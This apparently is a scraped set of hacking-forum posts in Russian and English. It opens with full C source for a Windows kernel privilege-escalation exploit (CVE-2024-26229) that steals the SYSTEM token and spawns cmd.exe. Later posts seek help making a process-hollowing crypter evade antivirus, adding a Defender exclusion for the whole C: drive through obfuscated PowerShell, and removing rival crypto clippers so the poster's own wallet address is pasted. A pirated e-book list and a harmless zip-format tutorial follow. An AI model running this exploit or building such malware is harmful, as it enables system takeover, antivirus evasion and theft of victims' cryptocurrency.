hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
if (hThread != NULL)
{
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current THREAD address = %llx\n", Curthread);
}
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
if (hCurproc != NULL)
{
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current EPROCESS address = %llx\n", Curproc);
}
status = pNtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtFsControlFile failed with status = %x\n", status);
return status;
}
printf("[!] Leveraging DKOM to achieve LPE\n");
printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");
Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);
system("cmd.exe");
return STATUS_SUCCESS;
}
int main()
{
if( NtLoad() ) return 1;
NTSTATUS status = Exploit();
return status;
}
Code:Copy to clipboard
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <stdint.h>
#define STATUS_SUCCESS 0
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET 0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET 0x232
#define CSC_DEV_FCB_XXX_CONTROL_FILE 0x001401a3
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 0x400000
enum _MODE
{
KernelMode = 0,
UserMode = 1
};
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef NTSTATUS(__stdcall* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);
_NtWriteVirtualMemory pNtWriteVirtualMemory;
typedef NTSTATUS(__stdcall* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
_NtQuerySystemInformation pNtQuerySystemInformation;
typedef NTSTATUS(__stdcall* _RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);
_RtlInitUnicodeString pRtlInitUnicodeString;
typedef NTSTATUS(__stdcall* _NtFsControlFile)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
_NtFsControlFile pNtFsControlFile;
typedef NTSTATUS(__stdcall* _NtCreateFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
_NtCreateFile pNtCreateFile;
int NtLoad() {
//HMODULE hModule = GetModuleHandle(L"ntdll.dll");
HMODULE hModule = GetModuleHandleW(L"ntdll.dll");
//HMODULE hModule = GetModuleHandleA("ntdll.dll");
if (hModule != 0) {
pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(hModule, "NtWriteVirtualMemory");
if (!pNtWriteVirtualMemory)
{
printf("[-] NtWriteVirtualMemory not loaded\n");
return 1;
}
pNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
if (!pNtQuerySystemInformation)
{
printf("[-] NtQuerySystemInformation not loaded\n");
return 1;
}
pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(hModule, "RtlInitUnicodeString");
if (!pRtlInitUnicodeString)
{
printf("[-] RtlInitUnicodeString not loaded\n");
return 1;
}
pNtFsControlFile = (_NtFsControlFile)GetProcAddress(hModule, "NtFsControlFile");
if (!pNtFsControlFile)
{
printf("[-] NtFsControlFile not loaded\n");
return 1;
}
pNtCreateFile = (_NtCreateFile)GetProcAddress(hModule, "NtCreateFile");
if (!pNtCreateFile)
{
printf("[-] NtCreateFile not loaded\n");
return 1;
}
}
else
{
printf("[-] NTDLL not loaded\n");
return 1;
}
return 0;
}
int GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)
{
int Ret = -1;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
ULONG ulBytes = 0;
NTSTATUS Status = STATUS_SUCCESS;
while ((Status = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
{
if (pHandleInfo != NULL)
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
else
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
}
if (Status != NULL)
{
Ret = Status;
goto done;
}
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
{
*ppObjAddr = (ULONG64)pHandleInfo->Handles[i].Object;
Ret = 0;
break;
}
}
done:
return Ret;
}
NTSTATUS Write64(_In_ uintptr_t* Dst, _In_ uintptr_t* Src, _In_ size_t Size)
{
NTSTATUS Status = 0;
size_t cbNumOfBytesWrite = 0;
Status = pNtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
if (!NT_SUCCESS(Status))
return -1;
return Status;
}
NTSTATUS Exploit()
{
UNICODE_STRING objectName = { 0 };
OBJECT_ATTRIBUTES objectAttr = { 0 };
IO_STATUS_BLOCK iosb = { 0 };
HANDLE handle;
NTSTATUS status = 0;
uintptr_t Sysproc = 0;
uintptr_t Curproc = 0;
uintptr_t Curthread = 0;
uintptr_t Token = 0;
HANDLE hCurproc = 0;
HANDLE hThread = 0;
uint32_t Ret = 0;
uint8_t mode = UserMode;
pRtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);
status = pNtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtCreateFile failed with status = %x\n", status);
return status;
}
Ret = GetObjPtr(&Sysproc, 4, 4);
if (Ret != NULL)
{
return Ret;
}
printf("[+] System EPROCESS address = %llx\n", Sysproc);
hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
if (hThread != NULL)
{
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current THREAD address = %llx\n", Curthread);
}
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
if (hCurproc != NULL)
{
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current EPROCESS address = %llx\n", Curproc);
}
status = pNtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtFsControlFile failed with status = %x\n", status);
return status;
}
printf("[!] Leveraging DKOM to achieve LPE\n");
printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");
Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);
system("cmd.exe");
return STATUS_SUCCESS;
}
int main()
{
if( NtLoad() ) return 1;
NTSTATUS status = Exploit();
return status;
}
source : github.com/RalfHacker/CVE-2024-26229-exploit
thank you a lot
Говорили это возможно (MediaProject так себе, уже ставят черный экран в приложухах) есть замена?
Всем привет, хочу написать, какой нибудь проект и решил написать firewall.
Я бы хотел узнать как можно написать свой простенький firewall для Windows 10.
На сколько вообще это сложно и с чего стоит начать? Какой язык лучше подойдет
для данной задачи, я думаю что С++.
Программист из меня херовый, если это слишком сложно, может у кого есть идеи для проекта получше и полегче
Click to expand...
Проект чисто для себя, поднять навыки программирования.
Click to expand...
I developed my first crypter in pure C using the standard process hollowing:
create a new process thread in suspended state, put the PE inside it and
execute the thread.
I use these winapi: CreateProcess GetThreadContext VirtualAllocEx
WriteProcessMemory SetThreadContext ResumeThread. And I use a simple XOR
encryption with a long random key.
The problem is that it's not undetected, there are around 10 of the most
popular AVs that detects it in scantime (I suppose in runtime too). I think
the problem is that I use the same winapi everyone use and in a very common
way.
I read some blogs about other methods such as injection in other trusted
processes, reflective injection or other process hollowing techniques.
Studying and implementing some of them will require a lot of time, so I need some advice, what direction sould be the best for my research? I just want to implement a simple runpe that is undetected, should I try to make my RunPE FUD (if yes, how? maybe I need to obfuscate the api call.. I'm not sure they are the main problem) or it's better to try another more stealth method?
Кароче дали мне .jar file я его декомпильнул тулзой JD-GUI а вот скомпилить
уже не могу((
Кто поможет тому маленький приз в виде денег на киви!!! Нужно поменять одну
строчку и назад скомпилить!!
Всем привет,подскажите с недавнего времени Win Defender ( Win 10 в моём случае) перестал почему то давать добавлять папку в исключения через powershell . Даже когда в ручную запускаешь консоль от админа не даёт.
Spoiler: скрин ошибки
Spoiler: С# код функции
{
string ps = @"
$command = 'Add-MpPreference -ExclusionPath ''C:'''
Invoke-Expression -Command $command
";
Process process = new Process();
ProcessStartInfo startInfo = new ProcessStartInfo()
{
FileName = "powershell.exe",
RedirectStandardInput = true,
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true,
};
process.StartInfo = startInfo;
process.Start();
process.StandardInput.WriteLine(ps);
process.StandardInput.Flush();
process.StandardInput.Close();
process.WaitForExit();
process.Close();
}
Приложение стартует тоже с запросом прав администратора, функция выполняется из под админа,но в окне консоли та же ошибка от дефендера. Суть вопроса в том как можно это обойти ?может сделать обфускацию просто повершел команды самой,поможет ли это?
I was wondering how I can make a program that kills the processes of crypto clippers installed on a Windows machine. Currently I wrote code that checks if each process that is currently running that is NOT located in critical Windows folders and does NOT have a signature and kills those processes. I have also tried to check what process is locking the clipboard when a crypto address is copied to the clipboard. Both of these methods seem ineffective. If someone could help me with the logic that I can implement into my code to find all crypto clippers installed and either have priority over them (my address will always be the one copied to the clipboard) or completely uninstall them from the target.
------------------------------------------ ----------------
I was wondering how I can create a program that kills the processes of cryptoclypers installed on a Windows machine. I have currently written a code that checks to see if each currently running process that is NOT located in Windows critical folders has a signature and kills these processes. I also tried to check which process blocks the clipboard when a crypto address is copied to it. Both of these methods seem ineffective. If someone could help me with the logic that I can implement in my code to find all the installed cryptoclippers and either take precedence over them (my address will always be copied to the clipboard), or completely remove them from the target.
Заголовки на английском.
Python for Data Analysis ($50):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacedxf7qs2aca5fkcnt63hsxys44irsdhyow73nghfroauswok34sau ](https://cloudflare- ipfs.com/ipfs/bafykbzacedxf7qs2aca5fkcnt63hsxys44irsdhyow73nghfroauswok34sau)
Flask Web Development ($40):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacedvtn55gwtsmfxwctl6idvkdk4jsl3xrdsksiqgubd6dhsboninbk ](https://cloudflare- ipfs.com/ipfs/bafykbzacedvtn55gwtsmfxwctl6idvkdk4jsl3xrdsksiqgubd6dhsboninbk)
Python Cookbook ($40):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacechzgvwzeqkr3paclbbpasijfz65ps7ek4ieek2giv6cjkxzzs4f2 ](https://cloudflare- ipfs.com/ipfs/bafykbzacechzgvwzeqkr3paclbbpasijfz65ps7ek4ieek2giv6cjkxzzs4f2)
Eloquent Javascript ($10):
[ https://cloudflare- ipfs.com/ipfs/bafykbzaceba25c3me6pcwq6fcjvyie5vrhqtcvgphenhuuxkd3bpmkti3cisg ](https://cloudflare- ipfs.com/ipfs/bafykbzaceba25c3me6pcwq6fcjvyie5vrhqtcvgphenhuuxkd3bpmkti3cisg)
Learning Javascript, Second Edition ($40):
[ https://cloudflare- ipfs.com/ipfs/bafykbzaceaxwnpkhr3wzaolszdnaa7svmkkpbqj5iozdc7taxj6kbbje54i6a ](https://cloudflare- ipfs.com/ipfs/bafykbzaceaxwnpkhr3wzaolszdnaa7svmkkpbqj5iozdc7taxj6kbbje54i6a)
Learning PHP, MySQL & Javascript ($40):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacealk7fwvr36bmxneqpjfjbqjmpyncymlvkdq2mznru6swrzhpod2c ](https://cloudflare- ipfs.com/ipfs/bafykbzacealk7fwvr36bmxneqpjfjbqjmpyncymlvkdq2mznru6swrzhpod2c)
Getting Started with NoSQL ($10):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacealk7fwvr36bmxneqpjfjbqjmpyncymlvkdq2mznru6swrzhpod2c ](https://cloudflare- ipfs.com/ipfs/bafykbzacealk7fwvr36bmxneqpjfjbqjmpyncymlvkdq2mznru6swrzhpod2c)
The Book of Visual Studio .NET ($80):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacecmoiusjeazjkdnaqvz4imucmtv4qzs4q6znvtujor72cobkw3x7q ](https://cloudflare- ipfs.com/ipfs/bafykbzacecmoiusjeazjkdnaqvz4imucmtv4qzs4q6znvtujor72cobkw3x7q)
Designing BSD Rootkits: An Introduction to Kernel Hacking ($10):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacecyrnw4hchfk5nhi7gfj2ainriv6xnnumw2eqgqpitzfuuyvv3dkq ](https://cloudflare- ipfs.com/ipfs/bafykbzacecyrnw4hchfk5nhi7gfj2ainriv6xnnumw2eqgqpitzfuuyvv3dkq)
Interactive Data Visualization for the Web: An Introduction to Designing with D3 ($40):
[ https://cloudflare- ipfs.com/ipfs/bafykbzaceafbyyvpvjz2igfjo5xehlrxeiifavnn75p63z5gfj64rnbf56xca ](https://cloudflare- ipfs.com/ipfs/bafykbzaceafbyyvpvjz2igfjo5xehlrxeiifavnn75p63z5gfj64rnbf56xca)
Learning Web Development with Bootstrap and Angular ($50):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacec6oj7b5rufpt735usljh6xpwlzj6fukvba3pheplfkdo3snumdkgl ](https://cloudflare- ipfs.com/ipfs/bafykbzacec6oj7b5rufpt735usljh6xpwlzj6fukvba3pheplfkdo3snumdkgl)
Learning React: Functional Web Development with React and Redux ($50):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacebzxz3j7x75ick3mebxegguxerxduwuoiypxrd52e3hvj3wrsuqlg ](https://cloudflare- ipfs.com/ipfs/bafykbzacebzxz3j7x75ick3mebxegguxerxduwuoiypxrd52e3hvj3wrsuqlg)
Web Development with Node and Express: Leveraging the JavaScript Stack ($30):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacednfidmuavtt6fbkyh2feosd57ckiu4pesiw6o3d6uvqw2tmmnh4i ](https://cloudflare- ipfs.com/ipfs/bafykbzacednfidmuavtt6fbkyh2feosd57ckiu4pesiw6o3d6uvqw2tmmnh4i)
The Kubernetes Bible ($40):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacechmu63acakyv3ogb6uth62tmyywhcde2qihtmx7srkccmz7tqvhc ](https://cloudflare- ipfs.com/ipfs/bafykbzacechmu63acakyv3ogb6uth62tmyywhcde2qihtmx7srkccmz7tqvhc)
Mastering Ubuntu Server ($30):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacedow3wj3pyyz3l5hyf44dbtggn6wdjsoeovyna43762fwr2o6iymm ](https://cloudflare- ipfs.com/ipfs/bafykbzacedow3wj3pyyz3l5hyf44dbtggn6wdjsoeovyna43762fwr2o6iymm)
Raspberry PI Cookbook ($10):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacedxi7ezoizcw7v45l7f7xlvxluqfumw53g4khbtnntx5kgyafoorg ](https://cloudflare- ipfs.com/ipfs/bafykbzacedxi7ezoizcw7v45l7f7xlvxluqfumw53g4khbtnntx5kgyafoorg)
Learning TypeScript ($50):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacebqjdbxztokr7dqvequerhkeerbrqwm3ree3ngqgdz2v3w6htycm6 ](https://cloudflare- ipfs.com/ipfs/bafykbzacebqjdbxztokr7dqvequerhkeerbrqwm3ree3ngqgdz2v3w6htycm6)
Learning Web Design ($50):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacedmxldrgjke6lwaqt455ffaghxj4eaobmjen4pfz6os4ouv4t66q4 ](https://cloudflare- ipfs.com/ipfs/bafykbzacedmxldrgjke6lwaqt455ffaghxj4eaobmjen4pfz6os4ouv4t66q4)
Modern Full-Stack Development Using TypeScript, React, Node.js, Webpack, and Docker ($30):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacedrb57vpmkvt2iigxsbxmlnb3ez6ert3bk724gnvyyft34cjpxgas ](https://cloudflare- ipfs.com/ipfs/bafykbzacedrb57vpmkvt2iigxsbxmlnb3ez6ert3bk724gnvyyft34cjpxgas)
Designing Great API's ($10):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacecbjp724iq2j5kwacjkdinlkckg5o63ib3urrgiurjzxsad4uuxuq ](https://cloudflare- ipfs.com/ipfs/bafykbzacecbjp724iq2j5kwacjkdinlkckg5o63ib3urrgiurjzxsad4uuxuq)
Distributed Systems with Node.js: Building Enterprise-Ready Backend Services ($50):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacedwnlqes3upolsxpvbkuryqy4plrrqozbmio5y24f7f37q6rm2ryg ](https://cloudflare- ipfs.com/ipfs/bafykbzacedwnlqes3upolsxpvbkuryqy4plrrqozbmio5y24f7f37q6rm2ryg)
Black Hat Python: Python Programming for Hackers and Pentesters ($30):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacea6ppgmhh5ijbhuya2cg7zor5d7u5am3shd5qene2nkrtvkve2dww ](https://cloudflare- ipfs.com/ipfs/bafykbzacea6ppgmhh5ijbhuya2cg7zor5d7u5am3shd5qene2nkrtvkve2dww)
The Official CompTIA® Network+® Student Guide (Exam N10-007): 2019 Update ($90):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacecjdp7ig2y4jpw3njbn4xyvbl34wz7cx4s43r6g2pabffbfrblqzo ](https://cloudflare- ipfs.com/ipfs/bafykbzacecjdp7ig2y4jpw3njbn4xyvbl34wz7cx4s43r6g2pabffbfrblqzo)
Hacking APIs: Breaking Web Application Programming Interfaces ($40):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacecpvf5zrswpvozvcg3na2r633qcjrmrctjz55abflpvaczdxajevq ](https://cloudflare- ipfs.com/ipfs/bafykbzacecpvf5zrswpvozvcg3na2r633qcjrmrctjz55abflpvaczdxajevq)
Learning Malware Analysis ($40):
[ https://cloudflare- ipfs.com/ipfs/bafykbzaceb4i7fiqlj2e5qi7wslzpqnaofzcidk4chsbwsxmvv5cl23cd7dpc ](https://cloudflare- ipfs.com/ipfs/bafykbzaceb4i7fiqlj2e5qi7wslzpqnaofzcidk4chsbwsxmvv5cl23cd7dpc)
Python API Development Fundamentals ($40):
[ https://cloudflare- ipfs.com/ipfs/bafykbzacedj7otxrsko4obk53mxsynukvw6vm32rgeatixipzukxf6nml2bb6 ](https://cloudflare- ipfs.com/ipfs/bafykbzacedj7otxrsko4obk53mxsynukvw6vm32rgeatixipzukxf6nml2bb6)
--------------------------------------------------------------------------------------------------------------------------------
Все электронные книги также размещены в Интернете, поэтому вам не нужно ничего скачивать.
Hi, I converted a lot of winapi syscall to their native version using ntdll
but CreateProcess seems a bit harder to implement. I need to use it in my
crypter so I need to create a suspended process and give it the variabile
containing the PE buffer. The problem is that there is not much documentation
about ntddl native syscall.
I could use:
- NtCreateProcessEx (very complex and long to do)
- NtCreateUserProcess (easy but.. can it get the variabile containing the PE
buffer? It seems this call can work only with a disk path)
- other ?
What should I use? Are there alternatives? Any resource is appreciated
АвторH2SO4
Источник https://xss.is/threads/120756/
0. INTRO
Всем привет, в этой статье хочу показать из чего состоит zip-архив, наглядно
продемонстрировать внутреннюю структуру и написать простую реализацию
архиватора на си в виде header-only library.
Релизовывать будем именно миниатюрный, минимально возможный вариант
архиватора, который будет соотвествовать спецификации. В нем будет поддержка
имен файлов в utf-8, возможность указывать комментарий к архиву, не будет
зависимости от библиотеки zlib, а сам код будет кросс-платформенным.
В статье я буду ссылаться на спецификацию формата zip: .ZIP File Format
Specification
1. Структура zip-файла.
ZIP-файл это бинарный файл который можно условно поделить на 3 блока. В первом
блоке содержатся сжатые данные, во втором содержатся описания данных и
смещения на данные в первом блоке, в третьем содержатся количество файлов и
смещение на второй блок. Давайте определим 3 важные структуры, которые нам в
дальнейшем помогут разобраться:
Local file header:
local file header signature 4 bytes (0x04034b50)
version needed to extract 2 bytes
general purpose bit flag 2 bytes
compression method 2 bytes
last mod file time 2 bytes
last mod file date 2 bytes
crc-32 4 bytes
compressed size 4 bytes
uncompressed size 4 bytes
file name length 2 bytes
extra field length 2 bytesCentral directory record:
central file header signature 4 bytes (0x02014b50)
version made by 2 bytes
version needed to extract 2 bytes
general purpose bit flag 2 bytes
compression method 2 bytes
last mod file time 2 bytes
last mod file date 2 bytes
crc-32 4 bytes
compressed size 4 bytes
uncompressed size 4 bytes
file name length 2 bytes
extra field length 2 bytes
file comment length 2 bytes
disk number start 2 bytes
internal file attributes 2 bytes
external file attributes 4 bytes
relative offset of local header 4 bytesEnd of central directory record:
end of central dir signature 4 bytes (0x06054b50)
number of this disk 2 bytes
number of the disk with the
start of the central directory 2 bytes
total number of entries in the
central directory on this disk 2 bytes
total number of entries in
the central directory 2 bytes
size of the central directory 4 bytes
offset of start of central
directory with respect to
the starting disk number 4 bytes
.ZIP file comment length 2 bytesClick to expand...
Сразу же обозначим их на языке C:
C:Copy to clipboard
#pragma pack(push, 1)
struct LocalFileHeader
{
uint32_t signature;
uint16_t versionToExtract;
uint16_t generalPurposeBitFlag;
uint16_t compressionMethod;
uint16_t modificationTime;
uint16_t modificationDate;
uint32_t crc32;
uint32_t compressedSize;
uint32_t uncompressedSize;
uint16_t filenameLength;
uint16_t extraFieldLength;
};
#pragma pack(pop)
#pragma pack(push, 1)
struct CentralDirectoryFileHeader
{
uint32_t signature;
uint16_t versionMadeBy;
uint16_t versionToExtract;
uint16_t generalPurposeBitFlag;
uint16_t compressionMethod;
uint16_t modificationTime;
uint16_t modificationDate;
uint32_t crc32;
uint32_t compressedSize;
uint32_t uncompressedSize;
uint16_t filenameLength;
uint16_t extraFieldLength;
uint16_t fileCommentLength;
uint16_t diskNumber;
uint16_t internalFileAttributes;
uint32_t externalFileAttributes;
uint32_t localFileHeaderOffset;
};
#pragma pack(pop)
#pragma pack(push, 1)
struct EndOfCentralDirectory
{
uint32_t signature;
uint16_t diskNumber;
uint16_t startDiskNumber;
uint16_t numberCentralDirectoryRecord;
uint16_t totalCentralDirectoryRecord;
uint32_t sizeOfCentralDirectory;
uint32_t centralDirectoryOffset;
uint16_t commentLength;
};
#pragma pack(pop)
И константы:
C:Copy to clipboard
#define ZIP_LOCAL_HEADER 0x04034b50
#define ZIP_CENTRAL_HEADER 0x02014b50
#define ZIP_END_CENTRAL_HEADER 0x06054b50
Давайте посмотрим как будет выглядеть zip-архив, в котором будет только один
файл text.txt.
Создадим файл 'text.txt'
с текстом 'xss.is'
и упакуем в архив 'zip1.zip'
Bash:Copy to clipboard
echo xss.is > text.txt & zip -X -m zip1.zip text.txt
Теперь посмотрим на файл в hex-редакторе:
Сразу же бросается в глаза повторяющиеся последовательности PK
, это как-раз
сигнатуры стрктур, которые определеные выше.
В самом начале файла мы видим байты '50 4B 03 04'
- это сигнатура структуры
LocalFileHeader. Давайте выделим всю структуру (30 байт):
Далее мы видим вполне читаемый текст: text.txtxss.is+'\n'
. Это ничто иное
как имя файла + тело файла.
Продолжаем двигаться по файлу: теперь перед нами структура
CentralDirectoryFileHeader длиной 46 байт
И следом опять имя файла, но уже без данных:
Завершает файл структура EndOfCentralDirectory длиной 22 байта:
Теперь мы имеем общее представление того, как выглядит zip-архив содержащий
один файл изнутри:
[LocalFileHeader]
+[FILE_NAME]
+[FILE_DATA]
+[CentralDirectoryFileHeader]
+[FILE_NAME]
+[EndOfCentralDirectory]
Забегая на перед скажу, что если файлов в архиве будет несколько, архив будет
выглядеть так:
[LocalFileHeader]
+[FILE_NAME_0]
+[FILE_DATA_0]
+
[LocalFileHeader]
+[FILE_NAME_1]
+[FILE_DATA_1]
+
[LocalFileHeader]
+[FILE_NAME_2]
+[FILE_DATA_2]
+
[CentralDirectoryFileHeader]
+[FILE_NAME_0]
+
[CentralDirectoryFileHeader]
+[FILE_NAME_1]
+
[CentralDirectoryFileHeader]
+[FILE_NAME_2]
+
[EndOfCentralDirectory]
Внимательный читатель обратит внимание на то, что данные из файла у нас почему-то представлены в чистом виде, хотя по-идее они должны быть сжаты и выглядеть как 'кракозябры'. Дело в том, что сам файл у нас маленький, и если такой файл сжать, то как ни странно, занимать он будет больше места, чем несжатый. По этому архиватор решил файл не сжимать, а положить в архив как есть, указав на это в структурах LocalFileHeader и CentralDirectoryFileHeader , о чем я расскажу далее.
2. Разбираемся со структурами.
Так как мы собрались писать свой мини-архиватор, нам нужно чуть лучше
разобраться со структурами LocalFileHeader ,
CentralDirectoryFileHeader и EndOfCentralDirectory и как их заполнять.
Начнем с первой:
LocalFileHeader :
signature
: сигнатура структуры, всегда должна быть 0x04034b50versionToExtract
: минимальная версия версия спецификации, которая будет поддерживать распаковку файла. В нашем тестовом архиве это поле указано как 10, что соответствует версии спецификации 1.0. Если бы наш файл в архиве был сжатым, то тут было бы 20.general purpose bit flag
: 2 байта, 16 бит, которые используются для информирования о различных типов сжатия, шифрования и т.д. Для реализации минимального архиватора нам нужно знать только про 11ый бит, взведя который мы укажем на то, что имена файлов закодированы в UTF-8.compression method
: уже интереснее - метод сжатия. В нашем архиве это поле равно 0. Если бы данные были сжаты алгоритмом deflate, то было бы 8.last mod file time и last mod file date
: время и дата модификации файла в формате MS-DOS. Можно смело забивать нулями.crc-32
: хэш-сумма НЕсжатого файла.compressedSize и uncompressedSize
: размер сжатого и несжатого файла в байтах. В нашем архиве эти поля одинаковы, но если файл был сжат, то compressedSize
был бы меньше.filenameLength
: длина имени файла в байтах (не в символах)extra field length
: длина дополнительных полей для более поздних спецификаций, нам этого не надо, поставим 0CentralDirectoryFileHeader:
Большинство полей дублируются, часть нам не нужны, остальные такие:
central file header signature
: сигнатура структуры, всегда должна быть 0x02014b50version made by
: поле, которое описывает сразу два значения. Впервом байте кодируется версия спецификации, которой был упакован наш файл, а во втором вид файловой системы, на которой был файл. Например: 0 - MS-DOS, 3 - UNIX, 10 - Windows NTFS, 19 - OS X. Это нужно чтобы сохранить атрибуты файлов. Но для нашей мини-реализации атрибуты нам не нужны, по этому просто будем записывать сюда значения 63 и 3 (831 в виде uint16_t)relative offset of local header
: смещение на структуру LocalFileHeader , в нашем случае от начала файла.В дублирующиеся поля нужно будет записать такие же значение, что и в LocalFileHeader , остальные можно занулить
EndOfCentralDirectory:
end of central dir signature
: сигнатура структуры, всегда должна быть 0x06054b50start of the central directory
: смещение, опять же в нашем случае от начала файла, на первый CentralDirectoryFileHeader.total number of entries in the central directory on this disk и total number of entries in the central directory
: сюда запишем суммарное количество файлов в архивеsize of the central directory
: суммарный размер central directory, того условного второго блока, в котором структуры CentralDirectoryFileHeader и имена файлов..ZIP file comment length:
длина комментария zip-архива. После этой структуры можно написать любой текст, и в это поле указать его длину. Комментарий отобразится окне архиватора.3. Сжатие данных
Стандартным вариантом сжатия для zip-архивов является метод Deflate. По мере
развития формата также добавлялись алгоритмы Deflate64
, PKWARE DCL Implode
, BZIP2
, LZMA
и PPMd+
.
В нашей реализации мы будем использовать Deflate. Писать самим алгоритм сжатия
дело долгое, по этому мы просто позаимствуем его отсюда:
https://github.com/vurtun/lib/blob/master/sdefl.h
Как сжать данные? Просто передаем в функцию нужные параметры:
C:Copy to clipboard
extern int sdeflate(struct sdefl *s, void *out, const void *in, int n, int lvl)
sdefl *s
- структура, необходимая для работы алгоритма
void *out
- буфер, куда запишутся сжатые данные. Нам нужно выделить под
него память
void *in
- указатель на сжимаемые данные
int n
- размер данных
int lvl
- уровень сжатия
Функция возвращает размер сжатых данных.
А как узнать, сколько выделить памяти под сжатые данные? Для этого есть
функция sdefl_bound
, в которую нужно передать размер входного буфера. Она
вернет максимальный потенциально-возможный размер сжатых данных в байтах.
В итоге сжимать входной буфер мы будем такой функцией:
C:Copy to clipboard
void* compress_buffer(const void *buffer, uint32_t size, uint32_t *destLen)
{
static struct sdefl sdefl;
void* cbuffer = malloc(sdefl_bound(size));
